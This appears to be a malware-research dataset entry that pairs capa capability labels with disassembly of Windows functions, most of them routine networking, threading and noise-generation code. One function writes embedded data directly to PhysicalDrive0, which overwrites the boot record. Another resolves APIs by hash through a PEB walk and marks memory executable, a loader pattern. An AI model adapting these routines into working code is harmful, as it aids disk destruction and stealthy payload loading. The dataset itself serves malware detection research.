joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10031590
Capabilities:
Access peb ldr_data
Check os version
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b05d6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea ecx, [esi + 4]
call fcn.100954e0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [ebp - 4], 0
lea edi, [esi + 0x38]
fld1
fstp qword [edi + 0x18]
fld qword [0x100b91f8]
fst qword [edi + 0x30]
fldz
fstp qword [edi + 0x48]
mov dword [edi + 8], 1
fst qword [edi + 0x40]
fstp qword [edi + 0x38]
fld qword [0x100b91d8]
fstp qword [edi + 0x50]
mov dword [edi + 0xc], 1
mov dword [edi + 0x10], 0x20
mov byte [edi + 0x20], 1
mov dword [edi + 0x28], 4
mov dword [edi], vtable.fir_shape_0_.0
mov byte [ebp - 4], 1
mov dword [esi], 0
mov dword [esi + 8], edi
test edi, edi
je 0x1003164e
mov byte [edi + 0x20], 1
jmp 0x10031673
mov eax, dword [esi + 0xc]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
test eax, eax
je 0x10031673
push eax
call fcn.1009d16a
add esp, 4
mov dword [esi + 0xc], 0
cmp dword [edi + 0x28], 0xa
je 0x10031684
mov dword [edi + 0x28], 0xa
mov byte [edi + 0x20], 1
fld qword [0x100b9028]
lea ecx, [esi + 4]
sub esp, 8
mov dword [esi + 0xac], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0xa0], 0
mov dword [esi + 0x9c], 0
fstp qword [esp]
push 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0xb0], 0
mov dword [esi + 0x1288], 1
mov dword [esi + 0x128c], 0
mov byte [esi + 0x1290], 1
call fcn.10013b90
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10031710
Capabilities:
Terminate process

Disassembly:
push edi
mov edi, ecx
mov eax, dword [edi]
test eax, eax
je 0x10031758
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x94]
call esi
push dword [edi + 0x90]
call esi
mov dword [edi], 0
mov dword [edi + 0xb0], 0
pop esi
mov ecx, edi
call fcn.10031950
mov dword [edi + 0x38], vtable.fir_shape_generator.0
mov eax, dword [edi + 0xc]
test eax, eax
je 0x10031776
push eax
call fcn.1009d16a
add esp, 4
mov eax, dword [edi + 0x1c]
pop edi
test eax, eax
je 0x10031785
push eax
call fcn.1009d16a
pop ecx
ret
Function at 0x10031cf0
Capabilities:
Terminate process

Disassembly:
push edi
mov edi, ecx
mov eax, dword [edi]
test eax, eax
je 0x10031d38
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x94]
call esi
push dword [edi + 0x90]
call esi
mov dword [edi], 0
mov dword [edi + 0xb0], 0
pop esi
pop edi
ret
Function at 0x10032240
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10032210
push 0x100000
push 0
call fcn.1009c4da
add esp, 0x18
test eax, eax
je 0x1003226d
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10032280
Capabilities:
Read file on windows
Read pipe
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push edi
push 0xfffffffffffffff6
mov edi, ecx
call esi
push 0xfffffffffffffff5
mov dword [edi + 0x10], eax
call esi
push 0
push 0xfffffffffffffff5
mov dword [edi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, edi
call fcn.10032410
mov dword [ebp - 4], eax
test eax, eax
je 0x100322d8
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push dword [edi + 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x10032302
cmp dword [ebp - 0xc], 0x400
jae 0x10032318
push 0xa
call ebx
inc esi
cmp esi, 0x1f4
jle 0x100322e0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x430]
push eax
push dword [edi + 0x10]
call ebx
test eax, eax
je 0x100322cf
lea ecx, [ebp - 0x430]
mov byte [ebp - 0x31], 0
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10032350
sub ecx, edx
cmp byte [ebp + ecx - 0x431], 0x5c
je 0x10032375
cmp ecx, 0x3ff
jae 0x10032375
mov word [ebp + ecx - 0x430], 0x5c
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x30]
push eax
mov eax, dword [edi + 0x18]
call eax
add eax, 6
add esp, 8
cmp eax, 6
ja case.0x10032390.3
jmp dword [eax*4 + 0x100323f0]
mov dword [ebp - 4], 0
jmp 0x100323c2
mov dword [ebp - 4], 2
jmp 0x100323c2
mov dword [ebp - 4], 0xd
jmp 0x100323c2
mov dword [ebp - 4], 0x570
jmp 0x100323c2
mov dword [ebp - 4], 0x54f
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 4]
push eax
push dword [edi + 0x14]
call esi
test eax, eax
je 0x100322cf
cmp dword [ebp - 4], 0
jne 0x10032324
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100323b2
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push edi
push 0xfffffffffffffff6
mov edi, ecx
call esi
push 0xfffffffffffffff5
mov dword [edi + 0x10], eax
call esi
push 0
push 0xfffffffffffffff5
mov dword [edi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, edi
call fcn.10032410
mov dword [ebp - 4], eax
test eax, eax
je 0x100322d8
push 0
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push dword [edi + 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x10032302
cmp dword [ebp - 0xc], 0x400
jae 0x10032318
push 0xa
call ebx
inc esi
cmp esi, 0x1f4
jle 0x100322e0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x430]
push eax
push dword [edi + 0x10]
call ebx
test eax, eax
je 0x100322cf
lea ecx, [ebp - 0x430]
mov byte [ebp - 0x31], 0
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10032350
sub ecx, edx
cmp byte [ebp + ecx - 0x431], 0x5c
je 0x10032375
cmp ecx, 0x3ff
jae 0x10032375
mov word [ebp + ecx - 0x430], 0x5c
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x30]
push eax
mov eax, dword [edi + 0x18]
call eax
add eax, 6
add esp, 8
cmp eax, 6
ja case.0x10032390.3
jmp dword [eax*4 + 0x100323f0]
mov dword [ebp - 4], 0
jmp 0x100323c2
mov dword [ebp - 4], 2
jmp 0x100323c2
mov dword [ebp - 4], 0xd
jmp 0x100323c2
mov dword [ebp - 4], 0x570
jmp 0x100323c2
mov dword [ebp - 4], 0x54f
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 4]
push eax
push dword [edi + 0x14]
call esi
test eax, eax
je 0x100322cf
cmp dword [ebp - 4], 0
jne 0x10032324
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1008d7f0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
lea eax, [esp + 4]
push esi
mov esi, ecx
push eax
push 2
mov dword [esi], vtable.g65ddc_network_enumerator.0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [esi + 0x14], 0xffffffff
mov eax, esi
mov dword [esi + 8], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1008dc80
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
mov eax, 2
mov esi, ecx
push 0x1964
mov word [ebp - 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
push 9
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x117]
push str.WR_G65DDC
push eax
mov byte [ebp - 0x118], 0xff
call fcn.1009d5e0
mov eax, dword [esi + 0x1c]
add esp, 0xc
sub eax, dword [esi + 0x18]
xor edi, edi
sar eax, 2
test eax, eax
je 0x1008dd05
mov ebx, dword [sym.imp.WS2_32.dll_sendto]
mov eax, dword [esi + 0x18]
push 0x10
mov eax, dword [eax + edi*4]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0xa
lea eax, [ebp - 0x118]
push eax
push dword [esi + 0x14]
call ebx
mov eax, dword [esi + 0x1c]
inc edi
sub eax, dword [esi + 0x18]
sar eax, 2
cmp edi, eax
jb 0x1008dcd8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1008dd10
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x23c
push ebx
push esi
push edi
push 0xa
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esi + 0x10], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0x186a0
jne 0x1008de28
mov ebx, dword [sym.imp.WS2_32.dll___WSAFDIsSet]
lea edi, [esi + 0x24]
lea esp, [esp]
xor eax, eax
xchg dword [edi], eax
test eax, eax
je 0x1008dd5f
mov ecx, esi
call fcn.1008dc80
mov eax, dword [esi + 0x14]
mov dword [esp + 0x144], eax
lea eax, [esp + 0x20]
push eax
push 0
push 0
lea eax, [esp + 0x14c]
mov dword [esp + 0x14c], 1
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x1008de1e
lea eax, [esp + 0x140]
push eax
push dword [esi + 0x14]
call ebx
test eax, eax
je 0x1008de1e
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x10
push eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0x13
lea eax, [esp + 0x48]
push eax
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0x13
jne 0x1008de1e
cmp byte [esp + 0x38], 0xff
jne 0x1008de1e
push 9
lea eax, [esp + 0x3d]
push str.WR_G65DDC
push eax
call fcn.1009e350
add esp, 0xc
test eax, eax
jne 0x1008de1e
mov eax, dword [esp + 0x42]
mov ecx, dword [esi + 4]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x46]
mov dword [esp + 0x18], eax
movzx eax, byte [esp + 0x4a]
push eax
lea eax, [esp + 0x18]
mov byte [esp + 0x20], 0
mov edx, dword [ecx]
push eax
push dword [esp + 0x32]
push dword [esp + 0x38]
push ecx
call dword [edx]
cmp byte [esi + 0x10], 0
je 0x1008dd50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1008df10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
xor esi, esi
mov dword [ebp - 4], edi
mov eax, dword [edi + 4]
test ebx, ebx
je 0x1008df61
mov edi, dword [ebp + 8]
jmp 0x1008df30
mov ecx, eax
shl ecx, 0xd
xor eax, ecx
mov ecx, eax
shr ecx, 0x11
xor eax, ecx
mov ecx, eax
shl ecx, 5
xor eax, ecx
mov ecx, dword [ebp + 0x10]
mov edx, eax
sar edx, cl
add edx, 0x8000
sar edx, 0x10
mov word [edi + esi*2], dx
inc esi
cmp esi, ebx
jb 0x1008df30
mov edi, dword [ebp - 4]
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1008df70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
xor esi, esi
mov dword [ebp - 4], edi
mov eax, dword [edi + 4]
test ebx, ebx
je 0x1008dfb7
mov edi, dword [ebp + 8]
jmp 0x1008df90
mov ecx, eax
shl ecx, 0xd
xor eax, ecx
mov ecx, eax
shr ecx, 0x11
xor eax, ecx
mov ecx, eax
shl ecx, 5
xor eax, ecx
mov ecx, dword [ebp + 0x10]
mov edx, eax
sar edx, cl
mov dword [edi + esi*4], edx
inc esi
cmp esi, ebx
jb 0x1008df90
mov edi, dword [ebp - 4]
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1008e540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov eax, dword [ebp + 0xc]
movdqu xmm4, xmmword [ecx + 4]
shr eax, 3
movdqu xmm5, xmmword [ecx + 0x14]
push esi
movdqu xmm6, xmmword [ecx + 0x24]
movdqu xmm7, xmmword [ecx + 0x34]
test eax, eax
je 0x1008e683
mov esi, dword [ebp + 8]
dec eax
mov edx, dword [ebp + 0x10]
shr eax, 1
inc eax
lea esi, [esi + 0x20]
movdqa xmm2, xmm4
pslld xmm2, 0xd
movdqa xmm3, xmm5
pslld xmm3, 0xd
pxor xmm2, xmm4
movdqa xmm1, xmm2
pxor xmm3, xmm5
psrld xmm1, 0x11
movdqa xmm4, xmm3
pslld xmm4, 0xd
pxor xmm1, xmm2
movdqa xmm2, xmm3
psrld xmm2, 0x11
movdqa xmm0, xmm4
pxor xmm0, xmm6
pxor xmm4, xmm7
pxor xmm2, xmm3
movdqa xmm3, xmm0
psrld xmm3, 0x11
movdqa xmm5, xmm2
pslld xmm5, 5
pxor xmm3, xmm0
movdqa xmm0, xmm4
psrld xmm0, 0x11
pxor xmm5, xmm2
movdqa xmm6, xmm3
pslld xmm6, 5
pxor xmm0, xmm4
movdqa xmm4, xmm1
movdqa xmm7, xmm0
pslld xmm4, 5
pxor xmm6, xmm3
movdqa xmm3, xmmword [0x100b92d0]
pslld xmm7, 5
pxor xmm4, xmm1
movdqa xmm2, xmm4
movdqa xmm1, xmm5
pxor xmm7, xmm0
movd xmm0, edx
psrad xmm2, xmm0
movd xmm0, edx
paddd xmm2, xmm3
psrad xmm2, 0x10
psrad xmm1, xmm0
movd xmm0, edx
paddd xmm1, xmm3
psrad xmm1, 0x10
packssdw xmm2, xmm1
movdqa xmm1, xmm7
movdqa xmmword [esi - 0x20], xmm2
movdqa xmm2, xmm6
psrad xmm2, xmm0
movd xmm0, edx
paddd xmm2, xmm3
psrad xmm2, 0x10
psrad xmm1, xmm0
paddd xmm1, xmm3
psrad xmm1, 0x10
packssdw xmm2, xmm1
movdqa xmmword [esi - 0x10], xmm2
dec eax
jne 0x1008e574
movdqu xmmword [ecx + 4], xmm4
pop esi
movdqu xmmword [ecx + 0x14], xmm5
movdqu xmmword [ecx + 0x24], xmm6
movdqu xmmword [ecx + 0x34], xmm7
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1008e6a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov edx, dword [ebp + 0xc]
movdqu xmm3, xmmword [ecx + 4]
shr edx, 2
movdqu xmm4, xmmword [ecx + 0x14]
push esi
movdqu xmm5, xmmword [ecx + 0x24]
movdqu xmm6, xmmword [ecx + 0x34]
test edx, edx
je 0x1008e7ca
mov esi, dword [ebp + 8]
lea eax, [edx - 1]
mov edx, dword [ebp + 0x10]
add esi, 0x20
shr eax, 2
inc eax
lea ebx, [ebx]
lea esi, [esi + 0x40]
movdqa xmm0, xmm3
pslld xmm0, 0xd
movdqa xmm1, xmm4
pslld xmm1, 0xd
movdqa xmm2, xmm5
pslld xmm2, 0xd
pxor xmm0, xmm3
pxor xmm1, xmm4
movdqa xmm4, xmm0
psrld xmm4, 0x11
pxor xmm2, xmm5
movdqa xmm3, xmm6
pslld xmm3, 0xd
pxor xmm4, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x11
pxor xmm3, xmm6
pxor xmm0, xmm1
movdqa xmm1, xmm2
psrld xmm1, 0x11
pxor xmm1, xmm2
movdqa xmm2, xmm3
psrld xmm2, 0x11
movdqa xmm5, xmm1
pslld xmm5, 5
pxor xmm2, xmm3
movdqa xmm3, xmm4
pslld xmm3, 5
pxor xmm5, xmm1
movdqa xmm6, xmm2
pslld xmm6, 5
pxor xmm3, xmm4
movdqa xmm4, xmm0
movdqa xmm1, xmm3
pslld xmm4, 5
pxor xmm6, xmm2
pxor xmm4, xmm0
movd xmm0, edx
psrad xmm1, xmm0
movd xmm0, edx
movdqa xmmword [esi - 0x60], xmm1
movdqa xmm1, xmm4
psrad xmm1, xmm0
movd xmm0, edx
movdqa xmmword [esi - 0x50], xmm1
movdqa xmm1, xmm5
psrad xmm1, xmm0
movd xmm0, edx
movdqa xmmword [esi - 0x40], xmm1
movdqa xmm1, xmm6
psrad xmm1, xmm0
movdqa xmmword [esi - 0x30], xmm1
dec eax
jne 0x1008e6e0
movdqu xmmword [ecx + 4], xmm3
pop esi
movdqu xmmword [ecx + 0x14], xmm4
movdqu xmmword [ecx + 0x24], xmm5
movdqu xmmword [ecx + 0x34], xmm6
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1008eef0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
call edi
mov esi, eax
mov dword [ebp - 4], esi
call edi
mov ecx, eax
mov edx, ecx
sub edx, esi
cmp edx, dword [ebp + 0x10]
jae 0x1008efe8
lea edi, [ebx + 8]
lea esp, [esp]
mov eax, esi
sub eax, ecx
add eax, dword [ebp + 0x10]
push eax
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebx + 0x30], 0
je 0x1008efc5
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0x20]
call fcn.1001eb50
mov edx, eax
mov ecx, dword [edx]
test ecx, ecx
jne 0x1008ef5a
xor eax, eax
jmp 0x1008ef5c
mov eax, dword [ecx]
mov ecx, dword [eax + 8]
mov eax, dword [eax + 4]
dec ecx
and ecx, dword [edx + 8]
mov ecx, dword [eax + ecx*4]
mov eax, dword [ecx]
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x20], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ecx + 0x10]
dec dword [ebx + 0x30]
mov dword [ebp - 0x14], eax
jne 0x1008ef94
mov dword [ebx + 0x2c], 0
jmp 0x1008ef97
inc dword [ebx + 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp + 0xc]
lea eax, [ebp - 0x1e]
push dword [ebp - 0x14]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [ebp + 8]
test eax, eax
je 0x1008efe8
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebx + 0x30], 0
jne 0x1008ef42
mov esi, dword [ebp - 4]
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub eax, esi
cmp eax, dword [ebp + 0x10]
jb 0x1008ef20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1008f000
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1f0
cmp dword [ebp + 8], 0
jne 0x1008f022
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebp + 0x10], 0
jne 0x1008f03b
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
lea eax, [esp + 0x60]
mov dword [esp + 4], vtable.g65ddc_network_enumerator.0
push eax
push 2
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x18], 0xffffffff
mov dword [esp + 0xc], 0
call fcn.1008ee40
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 8]
push eax
call fcn.1008d8d0
push dword [ebp + 0x10]
lea ecx, [esp + 0x30]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1008eef0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [esp + 0x30]
mov dword [esp + 0x30], vtable.network_enumerator_callback.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x4c]
call fcn.1001ede0
push dword [esp + 0x4c]
call fcn.1009c777
add esp, 4
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [esp + 4]
call fcn.1008d840
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10099fa0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b0608
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1c], 0
push 0
push 0
push 1
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [ebp + 0x10]
mov ebx, eax
lea eax, [ebp - 0x2c]
mov dword [edi], 0
cmp eax, esi
je 0x1009a029
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x1009a00a
mov edx, dword [ecx]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [ebp - 0x1c], 0
mov ecx, dword [esi + 0x10]
test ecx, ecx
jne 0x1009a016
mov dword [ebp - 0x1c], ecx
jmp 0x1009a029
mov eax, dword [ecx]
cmp ecx, esi
jne 0x1009a022
lea edx, [ebp - 0x2c]
push edx
jmp 0x1009a024
push 0
call dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x34], edi
push eax
push 4
lea eax, [ebp - 0x34]
mov dword [ebp - 0x30], ebx
push eax
push 0x1009a110
push 0
push 0
call fcn.1009c4da
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x1009a060
call fcn.1009c385
push ebx
mov edi, dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1009a099
mov eax, dword [ebp + 8]
test eax, eax
je 0x1009a069
mov dword [eax], esi
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
cmp dword [edi], 0
je 0x1009a097
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebx
mov edi, dword [edi]
jmp 0x1009a099
xor edi, edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x1009a0b8
mov esi, dword [ecx]
lea eax, [ebp - 0x2c]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401057
push 0x10
push str.Application_Error
push str.Failed_To_Open_Disk_Handle.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004010fa
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0x10000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, 0x4111a8
mov edx, eax
sub edi, eax
mov esi, 0x12f
mov cl, byte [edi + edx]
lea edx, [edx + 1]
mov byte [edx - 1], cl
sub esi, 1
jne 0x401074
pop edi
xor ecx, ecx
mov edx, eax
pop esi
nop dword [eax + eax]
mov al, byte [ecx + 0x410a08]
mov byte [edx + ecx + 0x1fe], al
inc ecx
cmp ecx, 0x7a0
jb 0x401090
push 0
lea eax, [ebp - 8]
push eax
push 0x10000
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4010d9
push 0x10
push str.Application_Error
push str.Cant_Write_Data_To_The_Disk.
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004010fa
mov esp, ebp
pop ebp
ret
Function at 0x40380c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x51f700]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403875
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00402655
lea eax, [esp + 0x14]
push 0x235
push eax
call fcn.00406309
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x40388d
lea ecx, [esp + 0x14]
add edi, 4
call fcn.004053a0
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x40383d
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00409f50
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.004053a0
jmp 0x403877

Function at 0x4067de
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x521048], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x27
push 0x51f030
push 0x547
mov esi, 0x51f058
push esi
call fcn.004038ab
push 1
push 0x427554
call fcn.00406896
add esp, 0x18
mov ecx, 0x521350
push 0
call fcn.004031a4
push eax
call fcn.00402227
push 0x8aafdc01
push dword [0x521048]
call fcn.0040380c
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x4e4
push esi
call eax
